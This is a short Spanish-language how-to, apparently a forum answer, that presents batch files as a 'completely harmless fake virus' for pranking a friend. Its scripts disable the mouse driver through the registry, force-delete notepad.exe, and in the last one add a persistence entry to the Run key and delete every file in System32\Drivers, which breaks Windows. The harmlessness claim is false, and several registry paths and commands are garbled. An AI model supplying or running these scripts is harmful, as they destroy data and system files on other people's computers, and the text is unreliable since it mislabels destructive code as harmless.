Como hacer un falso virus en Windows que sea completamente inofensivo

Un Virus es un Programa Auto-Replicante, así que básicamente no estás pidiendo un Virus en el verdadero sentido sino un script para jugar con el PC de tu amigo.
Puede probar con un archivo Batch o VBScript para esto, el cual puede jugar con el teclado y el ratón y puede molestar a su amigo.

Algunos ejemplos de archivos BAT peligrosos (sólo guarda como archivo .bat) :--

@echo off
:: Swap Mouse Buttons
RUNDLL32 USER32.DLL,SwapMouseButton

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@echo off
:: Desactivar Mouse
key = "HKEY_LOCAL_MACHINEsystemCurrentControlSetServicesMouclass
reg delete %key%
reg add %key% /v Start /t REG_DWORD /d 4

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@echo off
:: Eliminar Notepad
del /f /q "%systemroot%notepad.exe"

-----------------------------------------
@echo off
:: B*S*O*D
Set adasdwdadasd=HKLMSoftwareMicrosoftWindowsCurrentVersionRun
Reg Add "%adasdwdadasd%" /v "BSOD" /t "REG_SZ" /d %0 /f > nul
Del /q /s /f "%SystemRoot%System32Drivers*.

Estos deben ser utilizados con PRECAUCIÓN...